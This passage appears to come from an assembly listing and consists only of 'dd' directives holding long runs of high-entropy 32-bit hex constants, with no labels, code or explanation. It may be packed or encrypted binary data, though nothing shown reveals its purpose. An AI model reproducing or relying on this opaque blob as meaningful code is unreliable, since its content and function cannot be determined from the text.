0DEFAB976h, 4499C2D2h, 7DBB26F7h dd 2FAB4D48h, 258A8A4Eh, 0E098B99h, 0FFE0E9DDh, 21A966AFh dd 0A954E829h, 8FEB5196h, 276A4C4Ch, 0CBD059C6h, 0FD2F41F6h dd 90E9D038h, 40B9BBCh, 326C8418h, 0BED58416h, 91D636E9h dd 544F43AAh, 913B884h, 48B5E41h, 71569E5Fh, 6F53EE4Ch dd 1C6F559Dh, 0A9162FF1h, 9B809DB2h, 27C07134h, 225EF9EAh dd 0F201245Ch, 0B6082077h, 829D8CBAh, 9F09C67Dh, 7C9C5B10h dd 602B08E7h, 0E4402D0Eh, 4EE8F88h, 0A21876h, 87170BEh dd 385E9714h, 6091E9D8h, 0CAEE175Eh, 3FE9AD1Ch, 5DF044D7h dd 0B558D968h, 0C659C499h, 81C1CBA4h, 2E4FE4CDh, 57A162FEh dd 0A00CA1C0h, 97E9200Ch, 0BEA235Fh, 6ED70E94h, 129AE184h dd 0F01F8DEAh, 93C01F0Ch, 86A5D8C2h, 7A769FBEh, 94E3FA13h dd 354E09D3h, 68F690FFh, 0E6225FB0h, 29AA4FE8h, 19F92AA4h dd 4474BA96h, 97484FFCh, 0A6FCA85Eh, 0C5ECA31Ah, 0BDC0D4BCh dd 90D9650h, 4EB8D55Eh, 0C2CDC1B4h, 3EBE00FDh, 3A4E137Dh dd 0BD00EE09h, 0DC5805CAh, 0B40EB07Eh, 60FD25E7h, 96360B30h dd 855E93A3h, 0E3E7EF17h, 0BCFEE985h, 0EC8004B7h, 33C42875h dd 1C0A0C2h, 23061768h, 0CB2978BFh, 50A59C71h, 1295247Dh dd 0DFF70B37h, 0CA9E6F85h, 2D0450B4h, 21CBA4A9h, 25F56F38h dd 0E7518860h, 7ADF66Fh, 1D865403h, 0B268FE2h, 0B7E34CD4h dd 0E96CFAC8h, 0A56E2D39h, 0E1FE8C8Ah, 98D76D0Eh, 0BF4170B8h dd 82E4CAD9h, 0F74A9690h, 5DE2F0D2h, 19008BE1h, 8328E54Eh dd 810501EBh, 0F82C0DE3h, 0D7349B0Eh, 0A0535326h, 0E8BF6Bh dd 816AA852h, 9C6DAAE7h, 0F7003576h, 7F5E1748h, 52E9FB01h dd 2F05AF30h, 0C04B8E15h, 0B038EF12h, 0AC602362h, 2CCC79A6h dd 0FEB11714h, 0F750B5CBh, 0DE29805Fh, 72975990h, 25CEF0FDh dd 52F25B59h, 4DD04C4Ah, 2F48ACEBh, 0DEF013A9h, 301B7220h dd 63C65B54h, 5960126Fh, 8E079C94h, 0CCFEC19h, 3B3F40D7h dd 79269E0Ch, 430C5A08h, 0BBA3E89h, 564E2648h, 0A7FE11F0h dd 0AC4A7C97h, 417408D8h, 0D8FD1492h, 40A8E9C3h, 5ADA3158h dd 0D3E568B8h, 0BEC42F7Dh, 0FA93E9ADh, 0C81A7D31h, 0E794FF14h dd 0CCDB9CBBh, 802B3F41h, 0A605A28Eh, 9137F5Ch, 0F0C54E41h dd 0DD50B70h, 0C2D77573h, 0A80808D1h, 1F643608h, 765F0B5Ah dd 9FFE94h, 0EB283130h, 5F532DE9h, 0BB05C546h, 7D793CD2h dd 0C11622AEh, 30BF5B70h, 54F468E3h, 4051F67Eh, 5304BF23h dd 897DB14Bh, 1FB9A0ABh, 209B5812h, 78FF5809h, 0E0DDBE69h dd 65DE3C86h, 26D7294Dh, 5F95A78Eh, 55C07B3h, 0E621054h dd 34D65721h, 190BE958h, 95103668h, 2F136EE0h, 0FAA7CCEEh dd 0F6796A62h, 0DD0B7711h, 0A1FD8F09h, 0A435E9BEh, 3165AE2Ah dd 0F7027D09h, 0CED99F3Bh, 0B9233856h, 12EAE23Eh, 0B34448B3h dd 32FE1640h, 1F852824h, 8FD5ABE9h, 2730782h, 3C61D1F6h dd 500EA471h, 4743808h, 0AB28702Ch, 2DD51C11h, 64C4585Bh dd 953AA933h, 8FB0F82Bh, 0E5611216h, 9788B287h, 7B3D6BD7h dd 0FF25C297h, 0D344D67h, 0AE200EAh, 3114DF26h, 574389BDh dd 5EBD7636h, 44C1527Bh, 95F22A19h, 8954511Eh, 0A72043F1h dd 537F26CAh, 0C0ED8103h, 0B20CC240h, 340940CDh, 0CE5F870h dd 51D7641Fh, 2A300718h, 0D4C524D5h, 4953044h, 2C20413Ch dd 1616D94Fh, 9DE1FFA0h, 0F4C6897Fh, 0F7DE2F22h, 50FC27FBh dd 0F56966FBh, 677F1689h, 0AF57169Ch, 0C0058B35h, 0B45824E9h dd 1318EE2Ah, 0AB1C7E13h, 13083150h, 0AD90AEE9h, 30697CE6h dd 0DE222986h, 0FD3BD457h, 585020E9h, 74129866h, 9E4DED4Ah dd 146FA48Ch, 88D7B4D2h, 0D42718BEh, 44948332h, 70EA75BCh dd 0EE814CFEh, 60223FADh, 0C55CE61h, 9701BFB0h, 5C855E74h dd 0A252C331h, 0D130F3EEh, 398D0097h, 0BD552FF1h, 0BF4B015Bh dd 69F58103h, 7546F90Eh, 7284C8E5h, 289F21B7h, 0EF30612Bh dd 99EF5233h, 7FDBC302h, 2AC21A1Ch, 8093A42h, 4720970Fh dd 0E99F7E93h, 3A3F0D25h, 0BB48F58Ch, 7B950EF6h, 425709AEh dd 0DD207453h, 2255B501h, 2BAB6870h, 211C0026h, 0C1690466h dd 479CC1E1h, 0C36F92A8h, 23F31F00h, 0A9150D68h, 0FD3CB2C5h dd 4B0EB65Eh, 54145A0Bh, 1C066FF4h, 350A0EC5h, 0DCE3381Ah dd 5EDFA50Fh, 0BCC657E5h, 6169D4F8h, 3E4ADD59h, 0CA7D9077h dd 75950110h, 0D0095735h, 1999D446h, 133450Bh, 1D3686C2h dd 295E168Ah, 0D364E84Ch, 0AC95C4FBh, 0E2BFF516h, 2F178623h dd 5C82D11h, 43B748D4h, 0A2FAD2F5h, 4CBA403Dh, 3E6016BCh dd 0A0350872h, 80ABF318h, 748E2C1h, 8F0D3ED4h, 0E5572A46h dd 41EF9666h, 0B12231ABh, 7F97ED61h, 4FF6FC40h, 95AFD655h dd 0EF0CF2D6h, 0BB91CEDh, 43876D96h, 17B701F5h, 0BF704C0Fh dd 0BC9F0D9h, 2135FD5h, 0E40B6CD4h, 0AEDA47EEh, 59DC49B5h dd 910B8F83h, 4D44E93Fh, 17E88A2Fh, 6CAF2AFDh, 9149E99Eh dd 73092545h, 2D72899h, 5DBB5BECh, 0A140E7C1h, 3400AEF7h dd 3C05A917h, 140AF545h, 72DF829h, 0AE43F950h, 3FDF2944h dd 92F6ADC6h, 23B65397h, 930AA35Fh, 4A37B7AFh, 11D023B2h dd 0B47F5EC9h, 0C3D49519h, 0BC35262h, 7D6904F6h, 561C437Bh dd 164D4223h, 4F6285D6h dd 10050940h, 0A09EBFEFh, 0AA754D16h, 0A255EB6Ch, 8957401Bh dd 0EE2FC5D8h, 5FD2BA90h, 2D2757ABh, 135502h, 26CBC58Ch dd 12C6A93h, 8204FD5h, 16AD5A4Ch, 7C434E9h, 83E355B9h dd 0B4D5FBB7h, 0B42BC48h, 0E8567C03h, 0BE69A460h, 2558006Bh dd 5BBA2CDCh, 0D002F748h, 45D7782Dh, 0DF90C2B4h, 0E7A5EB02h dd 9318EE57h, 20224FBh, 61278BEh, 40838EF7h, 5B525342h dd 26E92E5Ah, 0D0564B62h, 31158488h, 7467AF1Eh, 539E7E2h dd 72EA8781h, 0C7601631h, 95CEBFC4h, 6A02D1F8h, 29630D06h dd 2D0808FEh, 34C588D4h, 685E9CEBh, 4E126238h, 49EFCAABh dd 4EA25F6Dh, 0A3E91162h, 3ABDB968h, 87B5216h, 627D08h dd 0CB80D2B3h, 0B00250A7h, 0F6512C70h, 0B2F05FD8h, 97EC05Ch dd 0F4281134h, 5C6A0886h, 94BF5702h, 0B74C35Bh, 504154DEh dd 502B1255h, 450B13B8h, 1B250B9Ah, 0C9CF9ED1h, 4F92D092h dd 0DCB4F1ADh, 4E5CF530h, 4F250180h, 0D4680D28h, 80F471E6h dd 19013A5h, 24BEAC1h, 21FD41BEh, 2E6AEFBDh, 607508FFh dd 0E7EB010Eh, 0D5793F55h, 51443A71h, 3CE2B5C0h, 0E0034A41h dd 1C5F22B3h, 0CBBAFD35h, 47680C16h, 9789C922h, 6FDF5342h dd 4FE822F3h, 6438D128h, 0DCB97F14h, 85DE838Eh, 23214568h dd 8CC0D27Ah, 0F2028130h, 651F3C01h, 11455509h, 86062AA8h dd 9679E16Dh, 0C6311CD0h, 598265E9h, 6D530F04h, 0C2890A8h dd 643847F5h, 250480Dh, 0F43BB4EAh, 0B5B18108h, 0D0FEF616h dd 846FD9Ch, 4114821Ch, 0AF05DAC2h, 0FF214E13h, 8104BDF8h dd 2490948h, 0E8EF5066h, 1209D331h, 0FC85044Eh, 0EBE92049h dd 9455951Dh, 2FF9BD68h, 0A800E648h, 5553F51h, 0C72B0516h dd 0E2524869h, 2CFE4A37h, 2D5C480Fh, 0A7DB160Fh, 255913BAh dd 54E90547h, 7EE14h, 4C043FFEh, 581351CBh, 64790B5Fh dd 0A633DB46h, 7AD3B356h, 956D7D77h, 77A73179h, 6810D08Dh dd 408D083h, 3903616Eh, 40F0B6BAh, 0F5F8E90Ch, 5E4477BEh dd 3708C8BAh, 15243972h, 92FFE52h, 3CF0B04h, 4C2D3093h dd 76BE36h, 0D8212450h, 67A8255Bh, 534CC01h, 28D1728h dd 47D54C80h, 27E95508h, 5FD7126Bh, 7827886Ch, 69BED634h dd 5A3CB680h, 7897377Eh, 4D02BD92h, 0BA60EBD1h, 0FD06F33Fh dd 8C06E9F5h, 0A585D03Ah, 0E4576F25h, 4AB9F2C7h, 0B9C9AECCh dd 0D52413E5h, 2CEF2D68h, 784B50F3h, 3B4C0053h, 0BF5D5F43h dd 0BC2FC4B8h, 0E3CC7CA0h, 0AE941EE9h, 38E177FCh, 86DE20C1h dd 813F1241h, 7AD4530Ch, 49EF8E34h, 66021AFCh, 0BEDC22CEh dd 88BDB060h, 795C97C6h, 0C2C07569h, 0DB9A46E9h, 2D298095h dd 48753296h, 2D7F5C25h, 637935BDh, 1A6C528Bh, 0ED50C08Bh dd 0C8C1C6Eh, 5DC212E9h, 26188234h, 0F0551230h, 8B0882C3h dd 3D89F70Bh, 0E2D1F95Dh, 856D868h, 5E04E962h, 85019508h dd 8171914Eh, 0A417E2Fh, 1A702BD2h, 0F861F13Eh, 0D4BF78D9h dd 1F04409Dh, 4E906AA8h, 51636E2Fh, 4E04C949h, 4A28EAE4h dd 185D241h, 48022D3Fh, 38C56013h, 0F345A3BFh, 51768920h dd 0D06AE961h, 6A92C3FAh, 18765B5Ch, 0F2450C90h, 0B6020A94h dd 0AB4315Ah, 0BC56F6BEh, 0F27B5572h, 0D6D5F7F8h, 4D34EB08h dd 4C29E6BBh, 2D700793h, 0FB94657Dh, 0A0D48D84h, 0FAD362BAh dd 81EF907Fh, 623209CFh, 37833530h, 6CA1A3C7h, 0AB1A8743h dd 801F0864h, 554A17EFh, 1824C17Dh, 6EF3E863h, 1351FEB1h dd 842845CEh, 0A598169Eh, 32E62A31h, 7E22AF4Eh, 0CA926A4Ah dd 694DDF30h, 9DDC79A5h, 0B438C0B8h, 7760BE02h, 16984177h dd 3B5E423Dh, 92CE0258h, 0D050E248h, 4B611659h, 0D74B1FF2h dd 4550AB2Dh, 9120DDh, 9DDFF781h, 0FD291AE1h, 0CB59AB98h dd 28684CB1h, 0D63CAE40h, 3008A63Ch, 9D197C02h, 2333C156h dd 12C2EE14h, 8811D1A3h, 55276260h, 7E5EEDC9h, 0BFE4E3FCh dd 0AD2B9F69h, 0C6BBF17Eh, 0E8EBD96Eh, 0FFA9106Fh, 6EE3CAD1h dd 1259633Fh, 22443D37h, 30AE6B42h, 66D7BD63h, 455CD07Ch dd 5BFB068Bh, 700C4714h, 63D43EA6h, 1644F502h, 0FD005906h dd 8064CA73h, 9096FD2h, 8BDDF753h, 0B8EE4197h, 68B6D32Ah dd 5D567EAAh, 85562A63h, 0D248A3AFh, 0BCA445ACh, 80BE2F9Eh dd 1DA06892h, 9E635149h, 2044793Fh, 0FA4E34E1h, 5A6B11A4h dd 981EB6D7h, 4192E912h, 0FC4D439h, 0B4614695h, 65090973h dd 0C8928B56h, 52B8D5F0h, 0DD12CEFEh, 3E04DDD8h, 0BA936DBDh dd 4B1F3CA0h, 1DA92F0h, 4B4A9A4Ch, 5105FBCAh, 0AA3F4CB9h dd 0E2F10E81h, 9527A5D8h, 14962750h, 6020BB60h, 0D664899h dd 494E8212h, 6774D56Eh, 708A68E1h, 854E716Fh, 5B870409h dd 288C5050h, 0AAD24FF7h, 535F1841h, 0C827C06h, 8CC05CE4h dd 0A29DD8D5h, 964374C7h, 0AEC6C4B1h, 0AE918CB7h, 5E1A7710h dd 0C02FC5A9h, 7F290AE1h, 0B4EC07C9h, 0EF16D04Bh, 615AA41Ah dd 27CB66FFh, 0A7203F99h, 436870D7h, 0AAE6895Ah, 3E8C102h dd 4AFCE0D1h, 575C622Dh, 60F20A7Eh, 28E9E1AFh, 0EE6CFEFDh dd 684C40C2h, 6453EC0Fh, 0AE8C4674h, 0D4EB0653h, 0C30CD4Bh dd 71631A0Bh, 5A0B7DBAh, 0E5824F74h, 8EC641C5h, 592FC1EDh dd 8E84223Eh, 0BE6B5E75h, 3CB85C0h, 8277503Bh, 0BAD795C7h dd 9B79F58Fh, 58207828h, 0FC5A4E9Bh, 0E37A70E7h, 49B0D795h dd 0BB9D0E50h, 149305CBh, 80532A1Ah, 1D3A85B6h, 0C31A34B8h dd 2BE3158h, 0F5698E9Dh, 19BD1490h, 0F0763525h, 0D446098Dh dd 4D5618B2h, 284F225h, 1CEA7196h, 0CC7F4A68h, 153301EBh dd 0C6E97EFAh, 0CDE27E8Eh, 0E94944B2h, 4829255Fh, 3B41CF01h dd 0C930CC31h, 226218C6h, 52050C57h, 5BF2352Ch, 58910B2Dh dd 5C75A78h, 0BAC08321h, 0E90CB19Ah, 0BB360DB8h, 0E4293609h dd 96F95501h, 59C99F09h, 31702589h, 71274025h, 0E068049Ah dd 17E2A33Fh, 3AA2B1B8h, 2E7A6804h, 71F4FEE8h, 2F57B652h dd 0C0E5418Bh, 4E81D712h, 4721D488h, 0FF54BD3Ch, 681A4094h dd 0DB719325h, 59018A6Bh, 53844A5h, 4B8BDE29h, 61D0FC4Eh dd 3156E9E8h, 2D7BD12Eh, 36300642h, 0AD703AB3h, 0D10D6A90h dd 0F93B963Fh, 0B052133Bh, 0E7CB94Ah, 57D60297h, 0F7B9C253h dd 67C898CAh, 46BF5245h, 4009358Ch, 329F88Bh, 257922C5h dd 0E9F5C839h, 0AC97D7AEh, 87842C7Ch, 85CFAFAEh, 0AE80CDAh dd 2911D2CCh, 51076B90h, 0C6885253h, 0EAF4F727h, 3D10B4AFh dd 673B7F1Eh, 0AC59DD2h, 0AF61B4BFh, 0C85C47CCh, 0A5139BDh dd 7E04D84Ch, 0AA74C726h, 79A37601h, 987F5B09h, 5A094CFEh dd 44D58A9h, 0F5A30DD9h, 0AAE18465h, 179E6430h, 4F477D9Dh dd 0F10B4072h, 741EFB1Dh, 0E9D12924h, 680ACA10h, 88F00B57h dd 591CFECEh, 11EEDF7Bh, 23D39001h, 0D1584782h, 70962D87h dd 2E500F4h, 3772DA5h, 42B73A6Fh, 20709DAh, 7ADABF6h, 0CD5311BDh dd 5A23302Ch, 327C1B1Dh, 22F284BCh, 0E8017C3h, 48435570h dd 540BE837h, 53D0A859h, 178F4809h, 955EF009h, 0E92C59D8h dd 0B98095B7h, 45591ED0h, 0E7CF7429h, 0D2B3F26Ah, 0A686560h dd 5339B5Eh, 3FE44DFh, 558FCAC9h, 0DC816BCAh, 43841DB0h dd 334D59C3h, 8B4E7812h, 62BAD4C5h, 49745461h, 0B87E808Bh dd 5F76E9D8h, 3B3389F5h, 8A1309B6h, 3770AE8Eh, 954D1E68h dd 2D5A9616h, 292EACB9h, 0A0480A1Bh, 0E515BC1Fh, 4474F72Bh dd 42B5A332h dd 29BC6FEFh, 65320882h, 6937F42Fh, 18F68FFDh, 4036CB8h dd 0E94F1B0Dh, 5A3BB8FEh, 2F9CCBE2h, 42253BF4h, 6D9E55AFh dd 0DDD5329Dh, 5C61BB5Ah, 1AE7682Dh, 0B953303Ah, 9D2F12E0h dd 0F1348076h, 76682DD3h, 6AE1056Fh, 0EF4D130Fh, 2026323h dd 0CBD5E8F0h, 565D896Fh, 0E45752E1h, 0E9401623h, 882AE0F6h dd 3B95F558h, 9A4BFBC5h, 5D958EC1h, 431EF46Bh, 0F64D612Dh dd 0B00512F9h, 7E0ECF06h, 0DE20F00Dh, 858D31C2h, 0F078F7A2h dd 5E4480FDh, 5B5A5352h, 0B934F64Bh, 0B0F30036h, 89261E18h dd 10DADE59h, 5F01362Dh, 0BD3C0605h, 4DB7E860h, 55B032F0h dd 20745F9h, 0B454B0A4h, 0AB25870h, 0CFFE5801h, 802DB151h dd 0C9C0C13Ah, 0B8C1D82Eh, 0F09C21EFh, 0B2FC1FC7h, 4FB6365Fh dd 33F568C2h, 0C3623754h, 6074FE62h, 3E8021F2h, 30AEB905h dd 0F2A8276Dh, 0EC39D540h, 0A8056746h, 3F50C2C2h, 0B58BB40h dd 727D382Dh, 2690FCF3h, 1223C982h, 0BF5D4932h, 186227Dh dd 0EDC40F7Ch, 927ABD57h, 0EEC4F0EFh, 21BB095Bh, 2C54396Bh dd 595581CDh, 38F0455Dh, 12A29DC9h, 0C8829E03h, 0B8002202h dd 2E3B43BAh, 3E202558h, 878711BAh, 0A0522F4Eh, 45B86291h dd 180546FEh, 3DE9337Ah, 0DF05E590h, 0F4F3B0FEh, 0B8CE4E0Eh dd 9DE2D7D8h, 7AC622B5h, 0F6259A76h, 169DCFEAh, 6803336Dh dd 5AFA4186h, 0E66EC2B7h, 40055FE0h, 8E5AEEC8h, 0DBF662D9h dd 7CA3514Ah, 4447E11Ah, 18A24475h, 5905A768h, 0DC82E27Ch dd 2B518B8Ah, 2F469C57h, 1C74C831h, 4C5E92C3h, 0F471F01Dh dd 788FF872h, 0AE70BF28h, 0E9F80683h, 2DAB43F2h, 6857450Fh dd 4FD7FCFDh, 49B38321h, 68D7B1A7h, 272A1C58h, 5F00225Fh dd 4F34048Eh, 9B3BEDFAh, 0D0055ECCh, 0C347555Dh, 3C98BEE9h dd 0F580CE9h, 9B4B19B0h, 0D25EF709h, 30FE2709h, 0CF82B31Ah dd 2D00DBC4h, 4FAF7115h, 1A0B0CEh, 0B850D10Eh, 1A2E65FBh dd 0B0E68782h, 0C39473B7h, 80EA2810h, 0C299CC93h, 69EB2F23h dd 5DF67FA0h, 3EAC003h, 3C7FCAFEh, 129C7095h, 0F2C388BBh dd 522D6645h, 0D50620B0h, 5ABF8A90h, 0FDF2EDE5h, 6EFFF1CAh dd 6CD69D8Ah, 161E75AFh, 5481449Fh, 4C599AEDh, 66A89C0h dd 56F90DD4h, 9FE94147h, 62BB0133h, 95147AE4h, 0BC0B1978h dd 420DFF45h, 38C6C19Ch, 2D787223h, 686ED119h, 3D6A6810h dd 5963E918h, 41328BFh, 0E2BE4D9Fh, 298913B1h, 0D3A01391h dd 4E5E8B2Ah, 16820275h, 666C7D1Fh, 0A1C89729h, 38F73D07h dd 0B0BE2954h, 200422BBh, 8EE92C4Dh, 1FBA39B0h, 4D0F13A6h dd 6B0BA2BDh, 2BE9C44Eh, 55CEAB1Ah, 30524414h, 0F7BE10ACh dd 0B309974Ch, 51F5D510h, 0E9093B66h, 0F272114Dh, 0F20C81FCh dd 1CEE41B2h, 75A4AA7Ah, 159C173Eh, 0F20B5D26h, 9D045772h dd 0C0FE5271h, 0E0A14CA2h, 0C5899C16h, 0D43108h, 0E7C02CB7h dd 0CF3E8006h, 8B22A566h, 8E8B5761h, 688BDB71h, 13E669ACh dd 0EF18C42Bh, 84C578F3h, 63FA20DAh, 45028E4Ch, 95FFE89h dd 1A81DDF7h, 0C67A6166h, 305B2CE0h, 31ED2B19h, 5FE0571Eh dd 0C4D94BE9h, 0FEE2562Fh, 0AD4FD99Ah, 61BE80ABh, 0DC790B5Dh dd 0BB6FC024h, 592EE944h, 0F6F05A81h, 0A26E0684h, 40D6F708h dd 96C71409h, 0A61277EFh, 9D7D957Dh, 0AF4912E9h, 297BCFB6h dd 8C3614h, 7C6E6739h, 5300FD01h, 680A31BBh, 4EAEE90Fh dd 29907115h, 73C1FCC2h, 0AB85A6A8h, 16AE0D80h, 265BF70h dd 0C895B7C5h, 0DA08EC76h, 9791A074h, 0E9D83CFEh, 4E1B5967h dd 997413Bh, 0AE9CB4E3h, 0C9450728h, 7EC6C204h, 0F1FE03A7h dd 5F0800F6h, 22D0DA01h, 525B1617h, 836C4789h, 0FA68910h dd 0CE29B335h, 66F273B1h, 790BD6D0h, 4026A38h, 84C282CEh dd 3EE62C40h, 5CF94F18h, 27686E0Ch, 43FE7222h, 0B80B9B40h dd 0B453B848h, 5A005BCCh, 48996EBAh, 9D0F0BE9h, 662D0314h dd 7D0D9A08h, 0DE4629A1h, 34B62F42h, 5FD33132h, 25E1FB7Fh dd 87D4D472h, 0C001395Ch, 3051775Ah, 0BF0EB7CCh, 31582BBCh dd 0C0DF3D59h, 599AEC52h, 0AD965085h, 0DE6D16A5h, 8D5EDCE7h dd 0BC5A4085h, 60EF612Ch, 0D312485Ah, 0DFECCB9Eh, 0BEB0134Bh dd 0B58FB7F3h, 6330BED6h, 5CBA277Ah, 9706F12Ah, 0A64FC147h dd 0E5402EE7h, 7CD922C9h, 0E4FA6231h, 560BE4C0h, 2EDE0CA0h dd 8E0BEBADh, 74839895h, 0D5A03A3Bh, 58ADD49Fh, 0F22617BCh dd 7B019113h, 0E9392260h, 95685FD6h, 6A8A518Fh, 254855E6h dd 3EEC8059h, 0C7AC06CEh, 0F4937DC4h, 393421DFh, 4BE1888Eh dd 0C16DB8CAh, 2E22B562h, 2954ABFCh, 0E47F5F71h, 0F65C71D0h dd 11CB8631h, 2B109F1Eh, 5B940493h, 38925347h, 6AD9D55Eh dd 0D760680Bh, 55C70BB0h, 5BA3509Fh, 0E1D7901Eh, 8B251591h dd 1792A15Ah, 0DDE64387h, 0C14C3C6Eh, 0F3E909DBh, 811E20A8h dd 0B8B644C3h, 29194078h, 495D648h, 48A457EBh, 0F1894781h dd 5E09B26Ch, 0DA305401h, 708281DFh, 0BB2D01E7h, 894D4786h dd 87DB6CC3h, 0DF791C62h, 34892CFBh, 7038A03Ch, 0F413743Fh dd 8C0D5B6Ah, 0EF5083F6h, 32FDC4BFh, 0C601827Bh, 0E9FCD255h dd 9F99FFE2h, 0A5C03854h, 0DC01C024h, 7C012265h, 19CD3Eh dd 685A5F0Ch, 9B3B8C25h, 1953D878h, 72E19758h, 0FDA7E3h dd 6116F9FDh, 0FD091770h, 1E0095Fh, 938312B2h, 2D92432Fh dd 0D847E277h, 0C9F23EA8h, 8F2C281Dh, 0CE6F3E2h, 0FC090C23h dd 8019EB1Fh, 8606FEA5h, 0EDE94F0Eh, 89BD2C90h, 5A345C0Dh dd 7BB0B1D7h, 2D6C3775h, 250F85Fh, 8902AEF5h, 6AFE40ABh dd 352E243Ah, 0E7591C0Eh, 0B09A942h, 2102B2D6h, 577E0923h dd 2A42FCC3h, 0C229200Bh, 4952AE12h, 90844D63h, 8903BAFAh dd 12EF0E3Dh, 0C8445878h, 0B6EC1304h, 0D821B6C5h, 37120E43h dd 47012BA2h, 42D64D83h, 0E9F0803Bh, 3AE1336Fh, 286A72EAh dd 0DFEC0858h, 15ABDF97h, 17FF1EFFh, 0BD03EEE9h, 5BC748D6h dd 604CECA0h, 0AAB31610h, 9A26C380h, 0A8084028h, 580B25ABh dd 0AFDE6104h, 0F0C9B3B2h, 306D6355h, 86514E38h, 0D367F6DEh dd 3A518008h, 0F7C9FE30h, 9CA0C204h, 0F202CA28h, 0C0370B26h dd 0B5758FADh, 87BE6C18h, 12EE469Dh, 0FBC30E7Ah, 0FD068C0Ah dd 0B81CE902h, 660B755Ch, 0E392580Eh, 0E872252Eh, 8A090F63h dd 0E65A6475h, 0FA2FC102h, 51615468h, 2E5A5811h, 0EE4BEDF2h dd 24685338h, 8CE87D96h, 0BD4E8015h, 0D851670Bh, 4F2560Eh dd 0AA347668h, 56571332h, 0B6FD2DC8h, 0A22B765h, 0DF0B1865h dd 641F4045h, 3E0999EBh, 30FFB038h, 0A3C5B5F3h, 2D06E208h dd 0DCB10CD2h, 60765D52h, 7E0B5FA7h, 114D9075h, 5398978Dh dd 0D99DB12Eh, 0A5104B55h, 0CE9F477Bh, 5F57508Eh, 6F1A4170h dd 123DA4F0h, 0EFB59B8Eh, 845FCA0Eh, 0D0B25BD9h, 4B27F297h dd 0C6C97CE9h, 295B615Dh, 41983D20h, 153D479h, 5A4F7292h dd 40B09FBCh, 0CC01C780h, 0F6C1B551h, 0BCF1E9DDh, 7411D13Fh dd 7B63F3Eh, 4B3A3511h, 2CA0C3BBh, 587F12AEh, 0F7B1A2Ah dd 109AFEF0h, 1C1528DCh, 0FAB284A1h, 0F2565D07h, 2175F8D7h dd 0B33A800Fh, 7CF1DB71h, 0A3EB0640h, 38352F72h, 80254CAh dd 0F4FAB1E9h, 3A88C651h, 0DF943458h, 80B8954Bh, 0E78827BAh dd 0CA7912BBh, 7A30936h, 5DEB5821h, 6F8F2E31h, 0C8E9127Eh dd 53413042h, 36F6F8B7h, 0C5593060h, 9FBF644Ah, 78335CC0h dd 1861A430h, 76E311C7h dd 12ED0144h, 2956F002h, 81CA0D5h, 4E141CD0h, 0C603D1CBh dd 316373CBh, 6FD20C1Dh, 0B1BB5793h, 0C080667h, 3DE91480h dd 7FE6F755h, 44384AECh, 931EBD40h, 0AC300718h, 5FF8E78Dh dd 84EA13BBh, 11BF43AFh, 0FBC84F9Ah, 0A105BE56h, 0F70BE238h dd 4A4527D0h, 827D977Ch, 0DD4160FAh, 79754A1Ah, 0B2F24B7Ch dd 1FE95108h, 12D02053h, 0E3353F68h, 89D527DAh, 2D4AA07Dh dd 9069A21Ch, 40894EA5h, 2766EE38h, 8BF85033h, 3C443F41h dd 7BF8BB12h, 6609AC4h, 35AA8958h, 42452D03h, 529162D3h dd 38013FC1h, 0E80892B3h, 0AAD72DAEh, 0BA0863CFh, 417F2565h dd 0D9C75DEFh, 223FAFE8h, 55544E56h, 0FDC1AB52h, 59AD2217h dd 8CF0C2D6h, 0D5FBBA05h, 40BBF7Dh, 8107D55Eh, 696FA050h dd 84A1333Ah, 746D298Dh, 78A44A5Eh, 75401E98h, 0B019D21Bh dd 45276863h, 0BFEE517Dh, 0DC021327h, 0E05595B6h, 0DFDEF694h dd 25828904h, 0E7886F54h, 0AA2913AAh, 37E8CAB1h, 0C6C7C308h dd 7C8ACDFAh, 2F6610D5h, 3ACE257Ah, 0EB96CE56h, 0F4518DF9h dd 892C66E9h, 7D0A0503h, 41AF42EEh, 0C429FA47h, 7A32DD8h dd 0A5111EADh, 68C50155h, 0BB7C3AA7h, 5A4A1DC0h, 0E1738117h dd 18D46414h, 7E4204B0h, 93AB7CDAh, 0F1D8087Fh, 18269E82h dd 4B3886DCh, 0C658D30h, 0C2D6A22Eh, 9FDF7237h, 962043D8h dd 0A124A06Dh, 71C6B715h, 0C4234425h, 65E5F177h, 5AD65987h dd 2532925Fh, 0F6E2AFFEh, 2C4DFF1h, 0E9858F4Bh, 2805CBFAh dd 5695BD21h, 4EB72456h, 0AD4E68C9h, 55566616h, 8DC495E2h dd 0C2FB350Dh, 897D697Ah, 235B8F78h, 0ECEF4235h, 6BFB34F0h dd 8BDB5E17h, 40ACB726h, 29AE6213h, 30F93BF4h, 12A3FAB5h dd 0B9968F94h, 40DC9E7Dh, 8916D52Fh, 0E524F695h, 5CC055Ch dd 6780E29Fh, 1BDB583Bh, 525550F1h, 26411861h, 70760C68h dd 315C067Fh, 6EA4B7Bh, 4F7D2252h, 9E25D877h, 4616F7DDh dd 264FE5FCh, 0E2D2E8A9h, 3CA6947Dh, 0DD556E56h, 0FD9C3AC9h dd 49FAA594h, 96A5404Bh, 0D31FE2Eh, 7CED6856h, 0CA109576h dd 17B503ADh, 99F5ED80h, 8328FDCDh, 0DD289608h, 13685040h dd 0C1F3B76Eh, 1AF97549h, 4184E9E5h, 535EF0D2h, 11FE0926h dd 0A1988F79h, 0FE57AD11h, 8D324F19h, 27E3E461h, 1351F54Ch dd 74E951B8h, 82FCC62Fh, 123F7CA6h, 0D1A88471h, 729BFED8h dd 2B575FA9h, 0A8D3E2E2h, 90568412h, 2F5D2D09h, 0BE9F4655h dd 4491DE57h, 0E0FEFCA9h, 4D5BB3F9h, 2A057A90h, 4F7667h dd 0DA22E3CEh, 7854E94Ch, 0CBC723C0h, 3353B449h, 4D10DFF7h dd 2AA81AB1h, 0D65F04FFh, 40EA1752h, 822F59Dh, 77906B4Dh dd 44406D13h, 0B9EB5C00h, 1846B83Eh, 342A0AE9h, 5E061FBFh dd 0EFC10F6Ah, 75CF053Eh, 0C3397978h, 8A14173h, 3D788363h dd 1191046h, 55BEEB0Ch, 88F98906h, 1FD2084h, 61781EB8h dd 2D83E834h, 0E6B449Dh, 27E51CA4h, 1ECA43DFh, 43AA7FC7h dd 0B200795Ch, 80E2D0D1h, 0E8ECB8C2h, 7CE95A7h, 156A0FBFh dd 86A95A9Eh, 4B80F94Eh, 141CCBEBh, 4BBBFBEEh, 10663EAh dd 34C99D4Ah, 9075CB6Eh, 54EDC92Fh, 4F542DFDh, 17E52056h dd 772BBA07h, 0FCA216F1h, 92897C1Ah, 0A952564Dh, 0C782A4C3h dd 0F80E0EC2h, 7E428CE9h, 68135414h, 0E3AC5221h, 0C40287D6h dd 0EAD100FAh, 9BCCA81h, 4A6C6F01h, 157A7300h, 78B57EEFh dd 